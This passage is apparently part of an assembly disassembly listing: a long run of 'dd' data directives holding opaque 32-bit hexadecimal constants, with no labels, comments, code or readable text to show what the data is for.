		dd 1AFCCEE8h, 0F1466002h, 487153C8h, 22DE7A9h, 0A65E4113h
		dd 5543BA8Ch, 12352080h, 68F89F24h, 0CB650039h,	0D9F04FD1h
		dd 26000B6h, 83D62E58h,	0AF00926Ch, 0CCA6DDF7h,	0E42A30EAh
		dd 0FA8D984Dh, 19F22EACh, 1FA2416h, 0BDB2E0C9h,	9B830003h
		dd 0F5C700E1h, 6A3C560Eh, 0B37ACD85h, 7200E391h, 60499EB8h
		dd 0FC900ABh, 853F23F5h, 72A0996Bh, 5803722Ch, 476A8D78h
		dd 2FB009F9h, 770023BDh, 0E3E8A284h, 545D8013h,	0D72AB940h
		dd 17C812Ch, 0A25A3F19h, 0C8A0A69Dh, 10206C0h, 63682003h
		dd 0C1BEC065h, 0B3100059h, 0B9164770h, 0A2609426h, 2A87AA48h
		dd 540CC09Fh, 69985601h, 1357E848h, 0AFEC1B86h,	58BBD024h
		dd 0D981B89Fh, 7726CECh, 22EEB2B3h, 9BCB3205h, 8ADD5F48h
		dd 0B902D57Ch, 7C79CDCAh, 0ED664094h, 494E2406h, 0ABA20BBFh
		dd 0D01EF670h, 8FC52DEEh, 4880DFE4h, 1A0F9Fh, 4F297E63h
		dd 0B3AAAF69h, 0CD004BE6h, 777360E3h, 1FF5271h,	557EA2FAh
		dd 0D8DE7F32h, 9D00F781h, 5FC01BBh, 6020435Ah, 9AED1B91h
		dd 0B507D8EFh, 8642D610h, 904A2C10h, 0F4CE00E5h, 33A540Eh
		dd 1001A1C4h, 6679C2A6h, 2DC80D13h, 3B9A2873h, 549604CEh
		dd 0F0B63D6Bh, 0A2498A67h, 34A4C53h, 0D48C7143h, 47FFD0BAh
		dd 945B482Dh, 6750A504h, 0FCECC0B2h, 8C00462Ah,	5BDA072h
		dd 23319EBh, 947F5F79h,	5F484071h, 2A43C436h, 0D0034A22h
		dd 0D2D78F76h, 3136E8D4h, 0CD9FA03Ah, 620D5CF3h, 0F2515700h
		dd 637D3518h, 95AE912Eh, 10000512h, 31171562h, 459E2477h
		dd 790CBD70h, 0F3D34D4Bh, 37510B0Bh, 61E29265h,	68E823C5h
		dd 0C49600B0h, 0B90E28E2h, 39001B10h, 0AF93657Fh, 909DBF5h
		dd 82546E26h, 0FDE8A940h, 0F7D7DA18h, 412D9FD2h, 50192593h
		dd 0BCD3266Ch, 11189930h, 7C600B5Eh, 1DA3749h, 0F60D70F2h
		dd 0A71CAECAh, 73002CC0h, 4E340E6Dh, 0F2AA288Dh, 1CF600B5h
		dd 0C3EE1135h, 2103D82Fh, 0B8BD68BBh, 0A067ABC1h, 3343667Dh
		dd 0E1E3078h, 1453B6D8h, 0FFB2D518h, 30247735h,	0EE0F8829h
		dd 0C00B7542h, 778D3D7h, 2720037Ah, 305B7F66h, 5DB7938h
		dd 26F07B2h, 1FF980BAh,	0E669833Dh, 3C530FD2h, 2A2023FDh
		dd 0F7FC4932h, 97421D0Eh, 98946092h, 34E7CB6h, 2B6E741Fh
		dd 7C248F8Eh, 6A0380E8h, 3FAB7B2h, 1A318415h, 1112BAF7h
		dd 0F60071C4h, 1E23DDC3h, 0FCE200BCh, 70562842h, 3B00B1B6h
		dd 0FBB59973h, 180FF8F6h, 1C545257h, 8200DF0Ch,	2F84793Fh
		dd 0E4F7DDh, 18E0B3AEh,	0A941366Ch, 140443Bh, 6E8833E3h
		dd 0BE80B69Ch, 585D17F9h, 4A70A7F0h, 740CD09Ah,	2CEDD192h
		dd 1D0D0E83h, 56806257h, 0D9DF977Ch, 433EFDE4h,	0BE752829h
		dd 1DD5B803h, 0F00B2218h, 0C3BB4BDh, 349A9E56h,	1700CF1Eh
		dd 59701B12h, 0A0F67B36h, 9B003B6h, 8ED835AAh, 680D48Eh
		dd 1A616620h, 0E71B5900h, 4CA1CE89h, 1E690F95h,	0F5E31032h
		dd 391E3E9h, 6F58E449h,	1B3B703h, 18B3D92h, 0C294F6D8h
		dd 501D22DCh, 0EC0B7EE0h, 9AC4C000h, 69704772h,	1DF2000Dh
		dd 0E7925901h, 17586CE1h, 0B250BA6h, 3CC82039h,	4057D4h
		dd 0C3C88266h, 4467C6CCh, 0C9267201h, 0AAC1146Eh, 20168074h
		dd 0BC267149h, 2F60B65Ah, 0FE75E677h, 8EF103F6h, 0E14CEB4h
		dd 886DF197h, 288160C9h, 81863102h, 98C5DF8Ah, 0E50813h
		dd 6A2778CCh, 353AF2D7h, 0D673E00h, 0FC16C24h, 6B700028h
		dd 7DC4C974h, 2A0032C2h, 5EB3E87Ch, 6C260Ch, 0E09A8052h
		dd 0B99E78DBh, 24FB0139h
		dd 650F7318h, 0AB918138h, 0C9E0BF98h, 0AA740780h, 0E13E52ECh
		dd 2CC06BF8h, 0F14C79h,	62472184h, 0B57AA4AAh, 0D309040Eh
		dd 26197AA0h, 0E312367Ch, 0C203BBDDh, 0A9DA0AFDh, 0CF41686Dh
		dd 49812BD4h, 0E1E6A086h, 0E848C1E3h, 2AB06145h, 8C2A400h
		dd 69230503h, 7D660F64h, 0DD60C0C5h, 3B222025h,	7E6DEBA1h
		dd 0BF4A0B8Fh, 346CE729h, 4C3768A0h, 2779C6BDh,	1F16AFCh
		dd 3A7DED80h, 9CE814Ch,	38674F70h, 0FC0344F4h, 51AB971h
		dd 169401Ah, 9D8B817h, 766FE4CBh, 235E25E1h, 2A685DF8h
		dd 164A6099h, 0AC08458Fh, 0FF8BEC73h, 0A1ABE23Bh, 970D408h
		dd 0B84000E0h, 7E2AC3Ah, 14C0C503h, 15A73E4Ch, 0E86F60F2h
		dd 1C336F9h, 50D439h, 0B40A3F66h, 0F58CE4Ch, 4BA87079h
		dd 0A29375A3h, 0D9CB01E8h, 0F935570Eh, 0D3638743h, 0FA4D0B73h
		dd 0C5A14070h, 456E0E1Ah, 1FA090F8h, 3741D0F1h,	836B071Dh
		dd 0D8B55B04h, 720CF080h, 0FA41D6Ah, 3491CBC6h,	0B2FE6880h
		dd 0BF01715Ah, 866710CCh, 0E3F09B90h, 6BD500E8h, 23406A68h
		dd 0C5000677h, 33F2CC76h, 3D202Dh, 930A64D9h, 190E1762h
		dd 8757A800h, 1C0C7824h, 75010972h, 73720FE8h, 2CC12F3Dh
		dd 0CD003769h, 99FE63EAh, 6BE500E3h, 5AD98B66h,	363870Fh
		dd 0BDDB8033h, 617CCD04h, 1D0AE806h, 0DF2BF300h, 52C7F511h
		dd 6D940CD0h, 0AB1F10E9h, 75A54500h, 2CCB3822h,	3040096h
		dd 0A8D33FCFh, 0B9005FFEh, 4DE0D16Eh, 0F14AE981h, 0A1F80C92h
		dd 0D4330038h, 2600FCABh, 0C2CB6678h, 125EEEC0h, 9DABF0Fh
		dd 0D301D14Ah, 8F0DE97Ch, 0E16ED933h, 439751B6h, 12A3F760h
		dd 0E740B3h, 0A2B1BDA6h, 0F5716031h, 0D2146160h, 394082h
		dd 0AEE059B8h, 0DF805627h, 28F4D00h, 53FFD1BFh,	0EA81002Fh
		dd 18EE20D0h, 2150E880h, 13DFCC8Dh, 7F00F0D2h, 0F4902FDh
		dd 93156085h, 2DE9DCB3h, 10AF0FC0h, 1992951h, 1C7F03F4h
		dd 0C834396Ch, 8D5B0F2Ch, 0F0775A22h, 977D007Ch, 872E79BFh
		dd 200362FCh, 0D8DF1CC0h, 9218995Ch, 79ED4C4h, 111D702Bh
		dd 0CEA01042h, 0FD3C157Bh, 3EF13C18h, 1CE20616h, 4808BAFAh
		dd 9C019411h, 0A1F1724Fh, 7B219619h, 4706CE06h,	80911411h
		dd 4A28E115h, 62F20C1Ch, 0C21166FAh, 10512039h,	4201EAC7h
		dd 2B574D4Ch, 5B6210F6h, 67511046h, 86E21D25h, 1FCB88C4h
		dd 3D404926h, 9B6288F4h, 50A41274h, 0EB069404h,	9E402705h
		dd 0F13ECBC7h, 6D724900h, 516B92A1h, 1BE0C135h,	4011B3A7h
		dd 0E3A5A384h, 0E99B960Fh, 4A8F00FCh, 6A3167h, 66159E5Fh
		dd 691E7340h, 96D2E103h, 1024C272h, 7C56DA60h, 189AED3Ch
		dd 0CD104C53h, 9E6D003Bh, 8B647910h, 11786225h,	74B3E3Eh
		dd 67742B95h, 831D26C2h, 0E0965F14h, 0F4425660h, 0DF1A0CDDh
		dd 65504F27h, 48C2DA18h, 6B71178h, 7CE9FEBh, 4206B0E4h
		dd 95613656h, 51C91438h, 0CB0094E6h, 22321267h,	0AE00A9EAh
		dd 18FF9EA4h, 678B641h,	0E29FC569h, 1C052012h, 70325985h
		dd 4693203Ch, 73A4409Bh, 0F845F92Ah, 0E00E627Dh, 0A35ECB70h
		dd 3026C315h, 89215B08h, 9570E039h, 39F2C038h, 0E1DB8007h
		dd 671D4D3Ah, 4279C02Ah, 0A0D47B02h, 35916B03h,	30616346h
		dd 2821F808h, 342ED473h, 0F705B996h, 940F4D97h,	6EF20048h
		dd 0C8D1A7EBh, 3FC371A0h, 4ECBF9E0h, 3787090Eh,	140A00E0h
		dd 0A52C645h, 5566A26Bh, 92CB00BCh, 8633846h, 0FE76682Eh
		dd 205FEA01h, 9984E9C6h, 9012ABF1h, 0CFAA0940h,	0FDE53B00h
		dd 0C30CA848h, 204000E6h, 911D9C92h, 1C126A0Bh,	445943C7h
		dd 3A186CB0h, 0CB69E008h, 405DC426h, 9AE03282h,	0FE7EAECh
		dd 8E81BC05h, 2D0FCF02h, 0A26F8880h, 0C0D47B09h, 53908E0h
		dd 0A1318015h, 0BE9A7CA5h, 9221060Ch, 0C02D0886h, 0A5995821h
		dd 0D700B360h, 7D501897h, 1777435h, 0E21CB2CDh,	2424CBD2h
		dd 20FB6D4h, 21B357F3h,	2306332Dh, 9F4992h, 0D60CB835h
		dd 0C0019110h, 0E3464A97h, 0BDD41DA2h, 136214D2h, 471F803Eh
		dd 5F752A6h, 71516Ch, 0C3777230h, 910C90D4h, 1921CA9Bh
		dd 0CD09C39Ch, 63E8927Ch, 0E004954h, 0E66655A8h, 0AB52972Bh
		dd 0A3EEB298h, 886712D4h, 1CEA8D55h, 803C7BEBh,	82E2CD01h
		dd 0A8301BD0h, 54D241A6h, 0BA6B0A9Ah, 93A46D12h, 173C0845h
		dd 7FFF1482h, 4CB8803Fh, 26FC771Dh, 1158BD5Eh, 0DB1E7EE5h
		dd 6826AC07h, 0F8CA990Fh, 75703CB9h, 8DA63305h,	79309D70h
		dd 68632136h, 94BA0005h, 0FA224B56h, 0B401C288h, 669D79ECh
		dd 2C245E23h, 0DBBD01B6h, 0A3F79C8Fh, 0BA002439h, 0C4003DB8h
		dd 0D8F92024h, 7D94616Dh, 4408DF32h, 9A6B4Dh, 753D0C9Ch
		dd 41734C20h, 13516300h, 0A1A86977h, 0A3D39300h, 5E9A753Ch
		dd 0A818E206h, 96BB680h, 0DD5D8777h, 0F73A8480h, 228136D7h
		dd 0A2F61061h, 806E5184h, 19D02B7Ch, 0DBD301F2h, 0B6D26D9Ah
		dd 61B0405Bh, 631A9CA8h, 84D8CBC5h, 0A061385Ch,	0B69AECA5h
		dd 5727448Ch, 95A59800h, 9EF2348Fh, 8F60B111h, 702CAA6Dh
		dd 0C82A2068h, 2CFAD0F0h, 1299B6Fh, 176E7FCDh, 7DF020h
		dd 0E405AE79h, 0EB99FB3Ch, 8E605F28h, 62E3518h,	319F7318h
		dd 86302C0Ah, 0EBA1F814h, 0B26B70C1h, 1C2263F2h, 9B681050h
		dd 0D47C0174h, 18996BA1h, 742988F7h, 0E59D403h,	0C4D912Ch
		dd 226D51A1h, 920982D9h, 0B39838h, 0D033D990h, 1CE7222Ah
		dd 430208C0h, 0E0335DBh, 0F671262Fh, 21240686h,	60935000h
		dd 5E033AC6h, 0F06500C1h, 0CB8F4E4Dh, 96E25547h, 617E4304h
		dd 0AC88ACCDh, 989249D2h, 0E9FCCF04h, 147440A5h, 9140BBD7h
		dd 40281140h, 0E4AC3388h, 76A59B04h, 25628E9Ah,	0A5935220h
		dd 0EA68901Fh, 0A7758043h, 0CA3092E0h, 8E8E12Eh, 1AC70033h
		dd 0A584FE72h, 40009FB9h, 88C4772Eh, 0A849F9A1h, 76AC3384h
		dd 0CDE49Bh, 41A371C5h,	0A0A8A476h, 8F6E123Bh, 32EB9DB3h
		dd 0E4015C44h, 60902B0Bh, 0D400E1C5h, 19C0D817h, 18EC9951h
		dd 21EE2A69h, 55F81639h, 0B7D42C01h, 0FF3D32A9h, 18F5C30h
		dd 7B2265DEh, 80EC2AA1h, 6409D731h, 4202CD9h, 5F8D286h
		dd 0BB9CC81Dh, 562BF100h, 0DA591913h, 7A77E215h, 41F26F61h
		dd 70A4DCA7h, 92DBD1D5h, 538D2F00h, 599AA89Bh, 36302D2h
		dd 503EFEA9h, 41F3A482h, 0FA4C5464h, 0AFA6818Ch, 48EC1A0Ah
		dd 3A1F00D2h, 8F4A6453h, 71005E21h, 885B8CDh, 326601FAh
		dd 4239CA20h, 9AB98448h, 0CB5A3C07h, 2C83A97h, 4A7C625h
		dd 7C446CC2h, 6B029446h, 65A63D05h, 5E103031h, 6C150563h
		dd 0E881A06h, 4162BA81h, 0E1AC29EFh, 0EDCB2820h, 816C3180h
		dd 6B021BB1h, 19666901h, 87A9045Bh, 606AC820h, 7A18291Eh
		dd 0AB3E776Ch, 2A6514A2h, 0FB630320h, 0DC80F38Dh, 687188C2h
		dd 58769278h, 0D0134C06h, 48140833h, 279E6F41h,	64109072h
		dd 1D604891h, 630375F1h, 907732EFh, 1D3C9B7Dh, 8290D749h
		dd 662DA643h, 0F9440867h, 0E13AB361h, 1AB8417Ah, 0E21B0025h
		dd 7DDE0FA2h, 248AFF9Ch, 0DA6D04F4h, 721CA02Ah,	9D2AA37Ah
		dd 9C12A813h, 740A2332h, 0CD26688Dh, 9A74D130h,	0E4134DD7h
		dd 1251CB09h, 5898C849h, 5086FE4h, 0C485A641h, 67624031h
		dd 0FA029A05h, 3DDB31CFh, 8027CA50h, 0C1263B21h, 191EC60h
		dd 0EA6EE88Ch, 24B677CBh, 9C057624h, 641D4D1Ah,	0D4789460h
		dd 796B219Dh, 0D47025C0h
		dd 802A013Ch, 106DA856h, 0BD58285Dh, 12CD30DEh,	359C13Dh
		dd 6F66431h, 0B74188C3h, 75212ECFh, 274674ACh, 65122573h
		dd 54AD5802h, 85804059h, 7BD1C84Ah, 0C0C4B095h,	73210EC0h
		dd 0CF7A8332h, 0DC7C4C2Ch, 4E38C02Ah, 0E084A86Ch, 4A2F6A20h
		dd 6E2C621Bh, 11E03C30h, 8836CB6Bh, 34848059h, 462BC2E0h
		dd 0CD206409h, 0B23890E8h, 53809632h, 30E8D391h, 920083A0h
		dd 6214E42Ch, 0D640FECBh, 9800D26h, 19C8F820h, 9EBA700Ch
		dd 330A48B6h, 0E161E3FAh, 3D3E6380h, 0FBD2A800h, 0B3A69F3Bh
		dd 0F9DD186Dh, 15CBA14Bh, 10598D05h, 80809F46h,	6306D20Eh
		dd 0C570506Fh, 0E0C8CEDAh, 4B06861Ch, 43D6DA65h, 0B6110020h
		dd 0CD646CFBh, 2030D5A2h, 0C79A5846h, 885CB17Bh, 1000FEDAh
		dd 94753E15h, 1EA730FFh, 2890E220h, 20359229h, 0C0FBC8EEh
		dd 0DA6E189Ch, 88660637h, 23CB0281h, 0DB8424h, 79530984h
		dd 0A26F4B88h, 7600BC96h, 0B29FCD68h, 7710C034h, 818C0492h
		dd 6D1C38B1h, 0A035DE0Bh, 0B79EA664h, 0C42490FCh, 127BA38h
		dd 6274107Dh, 0F8C2FDC3h, 86052A6h, 2557CF9Ch, 0A903BA24h
		dd 19357F6Eh, 1947BBD0h, 0AB2C00Dh, 3D9C590Fh, 0A2350064h
		dd 48207902h, 6B8B10C6h, 5C6DE484h, 0A02EC1C2h,	87985144h
		dd 0EF010B92h, 763B3E0h, 7B0A8FE4h, 24C3203Eh, 0FFEC033Eh
		dd 0F73B9BCh, 0AA6AB1F0h, 200B137Fh, 74C72060h,	0F24130C2h
		dd 245C5AA8h, 8F1453F9h, 0AC07213h, 3CAA948h, 5D5AF200h
		dd 2561D143h, 0A14E07BDh, 103CF7C9h, 8828CC78h,	0B2759500h
		dd 0D6613BE6h, 504700E8h, 4B3EDEBBh, 3878E0CBh,	3AFAED03h
		dd 0A0DFC275h, 78C0EA56h, 0F7B70063h, 0CCD34A47h, 87E84C4Dh
		dd 0E4005875h, 0B42A40EAh, 4295DBh, 4C61E5E8h, 6643ECE2h
		dd 3ADDE400h, 44E0D267h, 387F524Bh, 8FD13187h, 18523AFEh
		dd 81E2CA3h, 0EA185449h, 0EFC4B0h, 0E2CE613Eh, 0E6D14595h
		dd 0CD2C3800h, 0EE676587h, 40641EEAh, 59528B3h,	2B5EFBE8h
		dd 0C668037Fh, 0DBC1416Ah, 9839A045h, 0C045FF1h, 108303BEh
		dd 0E20DEAECh, 48500D8h, 6A15F51Bh, 0C7C459Dh, 6123C101h
		dd 804D658Fh, 5DF53084h, 1863861Dh, 5E7C3F06h, 0F0291B3Dh
		dd 87E93F74h, 3E78F080h, 76AF72B8h, 0DA2C0B50h,	799CF305h
		dd 0C6385D5h, 0C884704h, 307EC018h, 0F01B1F4Ah,	21583F03h
		dd 0E81F17A0h, 40B0631Eh, 0C1743DD7h, 0F3DB15E8h, 0E1598518h
		dd 7842E899h, 84713FD7h, 0F23BC258h, 0B5F91DAAh, 1DE2FD0Eh
		dd 80191967h, 7F72B56Bh, 926FF086h, 0FBEE0CCCh,	0A28B380h
		dd 829D900h, 1BF6D88Bh,	8719C181h, 2489F1A4h, 15000AE4h
		dd 8F5F7B9Fh, 0E0AEB718h, 1B61499h, 95120C35h, 0FCF5156Ah
		dd 6C330200h, 0F69D677Dh, 1EDC4104h, 0E3C34276h, 75191E6Dh
		dd 47A1138Eh, 3CF82014h, 4B0A02B1h, 6481EC6Eh, 0B6394474h
		dd 1B2ADE70h, 0BC818CF1h, 0B8020909h, 96DF1069h, 0D50780C7h
		dd 1419EF06h, 0F8228BE9h, 9E0AFCAh, 5C827F4Fh, 429165Ah
		dd 0D44E1748h, 0C1AB7306h, 74073514h, 0A384C88Ch, 0FCE851E4h
		dd 0D4C0855h, 0FF98997Ch, 22906046h, 0E75914CFh, 76FF0F64h
		dd 4F51D82Bh, 884CED83h, 3FE0C445h, 74648175h, 13DA1122h
		dd 408A9449h, 84E0A380h, 8C9C391Bh, 148A8A0Ch, 980B5580h
		dd 50C70C18h, 2CE08CA0h, 5504364Ah, 880C710Ah, 28E06566h
		dd 7EF495E1h, 20D488EDh, 1D4840E1h, 609291ABh, 8E101912h
		dd 286A2832h, 0A3E85180h, 2C0A0C99h, 54168CA8h,	9F1EE909h
		dd 2AEB640Ch, 25130A0Eh, 0A2A83292h, 23518028h,	0C61A054h
		dd 8C428C5Fh, 519C4D36h, 46A21E62h, 87B1241Bh, 0B89F9A0h
		dd 873F6E02h, 14496B19h, 62D84DB2h, 63601A74h, 4250BE61h
		dd 9503A577h, 29A50B8Dh, 0B7A8DC51h, 8268C381h,	0D84E7929h
		dd 26F930AAh, 4C0ACA58h, 8D52CA4h, 64D723D5h, 0ECD06F99h
		dd 10863D18h, 8E00E747h, 772BD150h, 0D47A650Bh,	88107818h
		dd 5DC5075h, 5403B388h,	6D9ACD1h, 0A57ED03Dh, 0F93E7025h
		dd 417444B0h, 59C029Fh,	3C304D25h, 471AA7BCh, 0A3818718h
		dd 6FA158C8h, 0C32DEF23h, 2CE47EC1h, 70F1115Bh,	0A0D9E13Fh
		dd 248CCC01h, 0CA0392DCh, 0E6ED4B36h, 0F9D6C849h, 0E461073Eh
		dd 406744A7h, 0AD6643E8h, 514DFD00h, 54628489h,	75EC3EEAh
		dd 3AF9D400h, 36DFD395h, 0FB9F6100h, 0A7D24C3Dh, 0D8EBE83Bh
		dd 4A431128h, 3700D37Ch, 3CE5E850h, 7FAD495h, 0E99F513Ah
		dd 0C0E0874Eh, 0ECE76144h, 0CF3C4778h, 0D15202F9h, 5A8B42E8h
		dd 7D048DA0h, 47C6BBC0h, 4B49050h, 0EFD58B48h, 0C444F339h
		dd 60127ECAh, 0F33DCE54h, 416BB939h, 18A60921h,	97DE0920h
		dd 0E02E3CA1h, 22B06499h, 85ABF813h, 76B2F402h,	3D30C0E6h
		dd 201A40D9h, 4790DB07h, 71206B04h, 5DDAD5h, 4DEED3A3h
		dd 81DE20D0h, 11C96F07h, 72550D45h, 0F8582083h,	5823E65Bh
		dd 971A7419h, 0CC60188Ah, 70DFB156h, 20235803h,	0E98106ACh
		dd 0D9F53D87h, 0E1814F18h, 0C6DF7F08h, 0C06C47F9h, 7CEE0329h
		dd 433DDE00h, 8FFC136Dh, 7193051Fh, 0BE8B440h, 60D7D661h
		dd 0E7426885h, 0D8808D57h, 0D60D8068h, 93046A1Bh, 0AF0BA881h
		dd 9C28941Bh, 9C83A0D0h, 4A055019h, 0D0722F78h,	44ABD438h
		dd 0C226818Ch, 1B5DB54Bh, 4B806930h, 9550C60Fh,	8CA8CD88h
		dd 0A01B775h, 80086BD6h, 203977BEh, 1F614100h, 6373DA49h
		dd 32EF3F3Eh, 8F998998h, 0D48F848h, 12289376h, 0CC642B55h
		dd 1FA35905h, 86197Ah, 77448821h, 0C300801Dh, 0DFB394E2h
		dd 0B69F663Eh, 0F9E60334h, 0EAC24836h, 0E15878CCh, 0D4670B50h
		dd 81540FE5h, 0B22A59A7h, 14A42D0h, 6883ECE3h, 4C79818Ch
		dd 82007244h, 63AF527Ch, 0A6AEFFD2h, 43BA1F04h,	0CAD14E0h
		dd 670708D0h, 0C8DFE24Ch, 610A74A3h, 97470830h,	833583C4h
		dd 0A9E281C8h, 0E422A09Dh, 29CCD549h, 53941025h, 91D9C808h
		dd 30F12B96h, 74598166h, 1110A58Dh, 782B2257h, 88C8CE7h
		dd 28285F8h, 4A2D570h, 0E49CDBA5h, 91929282h, 0B2F65A0Ch
		dd 6150008Ch, 0CCCBCE36h, 81318028h, 918209C8h,	44842283h
		dd 0FC8B8685h, 89918848h, 8B448A22h, 128D898Ch,	486F248Eh
		dd 22719170h, 737C72h, 0D9AF3D9Dh, 0CFB54164h, 32F45952h
		dd 9698B876h, 4865284h,	89B2AEBh, 0E7BCAD50h, 7F727C01h
		dd 0AF749724h, 0F0F09CF1h, 0FE960088h, 7395AEA5h, 7C3AE680h
		dd 72F43E5Ch, 970C7F09h, 99C08EECh, 74F1FC40h, 0D002AEFDh
		dd 8EA5FD00h, 804E3C95h, 9A924612h, 4D0FF48h, 71B2EAFFh
		dd 6D608856h, 11C6B145h, 7CB74369h, 38960729h, 0EC83B756h
		dd 110765D7h, 0D9D26386h, 8A8809DCh, 5F041808h,	180377D5h
		dd 980A79CEh, 0C8ED26Ch, 880491D4h, 0D9526F21h,	0A6B838h
		dd 0B5894B3Fh, 69540B41h, 9960FCF8h, 0F6B06318h, 968302DCh
		dd 9B047360h, 0C0EE1C87h, 46721E8Fh, 7152CE7Bh,	53A22F28h
		dd 0C33A83E4h, 411857CBh, 19316EBDh, 0DDA600A7h, 227DB93h
		dd 0A218BB52h, 0E32186BEh, 22820067h, 1A9E5C8Fh, 500492Fh
		dd 43034140h, 334F2CEh,	8E4574ADh, 61009804h, 8BD5435h
		dd 0C0EAE4DDh, 791E6A48h, 7A67710Fh, 0EDA0DA10h, 1B9B620h
		dd 5EF43BE7h, 0C05360B8h, 0C200716Ah, 86D908DFh, 0C0670589h
		dd 0CF174B40h, 70056CBh, 0C909584Ch, 0ECE88074h, 5E74F5h
		dd 6CFF5568h, 4A0A5373h
		dd 85EA3705h, 90201B86h, 38F2931Dh, 670074BDh, 0AA5C6373h
		dd 2F0EE416h, 6422340h,	2F196F4Fh, 0B85AF5A4h, 9A608E70h
		dd 0B71D3BE1h, 2A5F726Ah, 0C3E89404h, 0BB67E6D0h, 63CE1100h
		dd 92DB87C4h, 0FF5B0F10h, 0C5833960h, 0A6A3EA49h, 6106ED80h
		dd 7B599F60h, 16B9A5h, 0E18CA0A7h, 76E5CCE9h, 3ADAD500h
		dd 24C32BB6h, 0B4070018h, 713EC183h, 1A00E5A1h,	7C8A9A56h
		dd 0BF1F46h, 0B6FB3682h, 0AFE7554Ch, 348D3Ch, 23987DB5h
		dd 137475Eh, 367BC027h,	4A88C12Ch, 18B43C14h, 28302629h
		dd 8FCB3E22h, 7DB22708h, 2C82CE00h, 87BF0Fh, 1A7FFD31h
		dd 8CC9FAEDh, 7E904160h, 0C08D2B32h, 87B62A18h,	0CC062144h
		dd 0CBF9418Bh, 7F28CE80h, 86C32E81h, 8EBDD028h,	782B4630h
		dd 0C3B32729h, 288DC131h, 2546590Ah, 5D650CCEh,	2D7B8420h
		dd 83BE02FDh, 8ECB2C45h, 81C18883h, 805E28B9h, 799B5D29h
		dd 78FD57BEh, 9E6A1854h, 1D154952h, 0B6181174h,	13315CBEh
		dd 0BF9D019Eh, 0A294203Dh, 0E8198052h, 0AE4A2E86h, 0BE901DA3h
		dd 41540351h, 0F2B03E92h, 3A37CE5Ah, 1C5038E7h,	7CB55246h
		dd 0BCEB1FBEh, 0D6124E89h, 46276F27h, 0FF1EC9BBh, 0C7803D0Dh
		dd 96BD11D0h, 679B7B5Bh, 6863A899h, 0F4BD951Ch,	6D1E4D08h
		dd 0F934061Bh, 42EDC855h, 682C3B18h, 8BF817Dh, 31216034h
		dd 5B7BB25Fh, 19BCD818h, 0E9511D59h, 33BFB11h, 40084401h
		dd 1E4C183Ah, 0DE963844h, 0B8561733h, 159181Dh,	0C3AE81F9h
		dd 27A179C6h, 0CF353031h, 3E81A551h, 0A2C84550h, 781C7130h
		dd 0F02D55Eh, 0B8203093h, 0DC1485A7h, 0D13327C0h, 0B07F51C2h
		dd 3C7A57C9h, 0DB401953h, 0B30E198h, 0D7353012h, 1B18CD3Ah
		dd 60FC172Eh, 7BC35219h, 0F3A45355h, 9E12F105h,	0DC1B9911h
		dd 44F9E039h, 31436101h, 8A980902h, 4C553918h, 0FD95DE06h
		dd 2AC7F6B1h, 18423D1h,	8ED0D6DFh, 109954FAh, 31CDE95Bh
		dd 0AD309182h, 9B198A63h, 54284C18h, 8D7AD146h,	81A61E82h
		dd 0DDA4905Bh, 0CC648519h, 193ADD31h, 5468B888h, 89900A58h
		dd 619F0B07h, 0B5F590BEh, 20CDE8C2h, 0F2DF8491h, 0B79428BFh
		dd 5E971050h, 30422DFCh, 1128A98Ah, 424DA86Fh, 44AB8843h
		dd 42716A67h, 94558441h, 21D43F48h, 4E444711h, 0F0B5F722h
		dd 53460D08h, 0CF2808F5h, 483123D4h, 4109341Ah,	6C34D55Ch
		dd 22C045D1h, 491D138Ch, 7B0F3442h, 0D604482h, 5A023C43h
		dd 0F28C2161h, 0E3409B04h, 0D267A514h, 9C586364h, 2011514Bh
		dd 0D7789F93h, 0C3C14420h, 0D6281404h, 0C20C5B8Ah, 0B853D110h
		dd 551E184Ch, 917DD49h,	24D0C6F6h, 0C8D114A4h, 3CAEB338h
		dd 0B898E1ECh, 76116960h, 916CD30Bh, 253409E8h,	0A81338B2h
		dd 1EF9490Dh, 51E021D3h, 0A46B485Ah, 0D68188F7h, 6E4EB2E2h
		dd 91D91080h, 950A7A70h, 0E7EB4B1Eh, 9A896600h,	0B368AAAh
		dd 8E5BAF28h, 3479F000h, 591DBFFDh, 7D01DB55h, 6BB12E9Ah
		dd 2C43C70h, 9CFD9881h,	0FCC2891Ah, 0B10B1CC0h,	216147E8h
		dd 929A7A30h, 0E008E2D3h, 0C310320Ch, 0C22B4240h, 0CC012EE0h
		dd 402C8029h, 102E7F3Eh, 0D90730B5h, 26C25E5Dh,	1B04E2B1h
		dd 0C9980230h, 0AEFD2887h, 0BD021C90h, 3318820h, 0CC27791Ah
		dd 0CAA22B8Eh, 9412609Ah, 87800437h, 88BCFD2Bh,	7FEB1D28h
		dd 0CF110A48h, 2C2DE018h, 2F0579B1h, 150C62Bh, 2891C4C1h
		dd 28CA2C5Ch, 1FC4368Ch, 3BEBE88Bh, 0B9AB99BAh,	9A1A0038h
		dd 94368BF6h, 7CCB261Eh, 14BA2B3Ah, 998040A3h, 0F5EF36B9h
		dd 3A867F92h, 287BBCFCh, 3EF8C027h, 794CF28h, 47AB94EDh
		dd 6B83AF04h, 0D0970BA2h, 67AB0C8Eh, 7007A17Ch,	0C52B998Bh
		dd 0C8FD4141h, 90F53430h, 0E80092DCh, 28F66028h, 36CEBD55h
		dd 8F009892h, 4E840F2Ch, 26BFFE99h, 36404781h, 1A0F2850h
		dd 13BA2AF7h, 6C002035h, 0B52C3136h, 0CFD1EB90h, 837406A9h
		dd 2AEF4C8Fh, 8A9C9048h, 0FC570456h, 309EEB24h,	8ECB2800h
		dd 59CE0CF5h, 3A24907Eh, 978CC440h, 0CB3DFE58h,	5407C421h
		dd 296A32E8h, 0DD41D062h, 9A85ECE6h, 28402362h,	0F5C0612Dh
		dd 779B6D0h, 87C4BA41h,	89B54746h, 25678C00h, 0C805FE9Ah
		dd 0CF212F81h, 0C1F97081h, 12DFFC30h, 1453ACEh,	2E3285A0h
		dd 2241E0CFh, 213760C1h, 588F8BC0h, 0FDE181C1h,	862D8E7Dh
		dd 27423A40h, 0C89A6F08h, 0B507340Fh, 87304C88h, 782BF53Ah
		dd 2881A1C7h, 2C8CCDC0h, 79C00A1Fh, 4898E82Eh, 0A5567D04h
		dd 0CE2607F8h, 0D8BA857Dh, 0F05EFD4h, 0FDF57EC6h, 0F048608Ch
		dd 83BD0104h, 8DCEBA36h, 49B8272Bh, 3D90C218h, 32F041FEh
		dd 0FE881C30h, 9087E82Eh, 3ACB0FE8h, 3098119Bh,	8258C227h
		dd 8A3C7879h, 8CB3072Bh, 603A259Ah, 505F0423h, 7D2CAEEBh
